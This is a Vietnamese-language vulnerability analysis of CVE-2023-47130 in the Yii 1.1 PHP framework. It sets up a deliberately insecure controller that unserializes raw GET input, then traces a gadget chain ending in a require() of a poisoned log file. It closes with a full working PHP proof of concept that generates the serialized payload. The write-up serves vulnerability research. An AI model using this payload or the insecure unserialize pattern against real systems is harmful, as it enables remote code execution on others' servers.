# 1-Day Analysis: CVE-2023-47130 ## Tổng quan Yii là một Open-source PHP web framework. Design pattern của Yii là MVC và được dùng nhiều ở Mỹ, Trung Quốc,... ![image](https://hackmd.io/_uploads/rJIhhcnc1x.png) ### CVE-2023-47130 CVE-2023-41730 liên quan tới việc không sanitize user input dẫn tới việc nếu có 1 trang web thực hiện unserialize input đó sẽ dẫn tới việc gọi unsafe method và thực thi file bất kỳ. ![image](https://hackmd.io/_uploads/B1VwRcn9kl.png) Ta tạo thêm trong controllers 1 file nhận user input và unserialize input đó: ```php <?php class UserInputController extends Controller { public function actionIndex() { if (isset($_GET['data'])) { $serializedData = $_GET['data']; $result = unserialize($serializedData); } else { echo "No data provided."; } } } ``` Check git commit: https://github.com/yiisoft/yii/commit/37142be4dc5831114a375392e86d6450d4951c06 ![image](https://hackmd.io/_uploads/Bk0tki39ke.png) `__wakeup()` là magic method của PHP và được tự động gọi khi unserialize => Ta có thể bắt đầu từ đây. ### Attack Flow Trong method `__wakeup()` của CDbCriteria class sau khi check các placeholder cũ sẽ tiến hành remap thành các placeholder mới (tránh xung đột) bằng hàm `strtr()`: ![image](https://hackmd.io/_uploads/S16cxo3qkl.png) `strtr()` có thể trigger được method `__toString()` và abstract class CFormElement có `__toString()` gọi đến hàm `render()`: ![image](https://hackmd.io/_uploads/Bkakwi2qJl.png) Trong class CFormInputElement ta có hàm `render()` có thể gọi đến thuộc tính `showErrors` của đối tượng cha (`CModule`): ![image](https://hackmd.io/_uploads/SkVef2h5kl.png) Khi được trigger, ta có thể gọi đến method `__get()` của class `CModule` và gọi đến hàm `getComponent()`: ![image](https://hackmd.io/_uploads/rJSpM2h5yx.png) Trong hàm `getComponent()`, ta có thể control được giá trị của `$config` => control `$conponent` và gọi đến hàm `init()`: ![image](https://hackmd.io/_uploads/HJfJY5a91l.png) Tìm trong source code ta có thể thấy trong class CPhpAuthManager sẽ gọi hàm `init()` -> `load()` -> `loadFromFile($this->authFile)` và cuối cùng là đưa vào dangerous function `require()`: ![image](https://hackmd.io/_uploads/rywdF5Tc1x.png) ![image](https://hackmd.io/_uploads/r1DKF56c1g.png) ![image](https://hackmd.io/_uploads/BJloK96c1l.png) Chúng ta sẽ gọi tới file `application.log` bởi nó sẽ lưu lại REQUEST_URI: ![image](https://hackmd.io/_uploads/S1Ov39Tqyg.png) Quay trở lại khi gọi hàm `render()`, ta cũng cần phải xử lý `$this->renderLabel()` và `$this->renderInput()` để mục đích cuối cùng là trigger payload: ![image](https://hackmd.io/_uploads/HyR8A9TqJx.png) ![image](https://hackmd.io/_uploads/S1mSeiTq1x.png) Do class `CModule` không có method `getModel()` nên sẽ gọi tới method `__call()` của class cha `CComponent`: ![image](https://hackmd.io/_uploads/H1vAyjpcyg.png) Lúc này, hãy tìm một lớp có method `getModel()`, khởi tạo nó và đặt nó vào `_m` ### PoC ```php abstract class CModel{} class CFormModel extends CModel{} class CBehavior{ private $_enabled; public function __construct() { $this->_enabled=true; } } class CDbCriteria{ public $params; public $condition; public function __construct() { $this->params=[":ycp"=>"1"]; $this->condition=new CFormInputElement(); } } class CComponent{ private $_m; public function __construct($a) { $this->_m=[$a]; } } abstract class CModule extends CComponent{ private $_componentConfig=array("showErrors"=> ["class"=>"CPhpAuthManager","authFile"=>"./protected/runtime/application.log"]); public function __construct() { parent::__construct(new CForm()); } } class CWebModule extends CModule{} abstract class CFormElement extends CComponent{ private $_parent; public $attributes=array(); public function __construct($a) { $this->_parent=$a; $this->attributes=["id"=>"1","name"=>"1","value"=>"1"]; parent::__construct(new CBehavior()); } } class CForm extends CFormElement{ private $_model; public function __construct() { parent::__construct(1); $this->_model=new CFormModel(); } } class CFormInputElement extends CFormElement { private $_label; private $_required; public $type; public function __construct() { $this->type="file"; $this->_label=false; $this->_required=""; parent::__construct(new CWebModule()); } } $a=urlencode(serialize([new CDbCriteria])); echo $a; ``` ![image](https://hackmd.io/_uploads/HkrgjjTcyx.png) ![image](https://hackmd.io/_uploads/SyiliiT5Jx.png) Source code: https://github.com/yiisoft/yii/archive/refs/tags/1.1.28.zip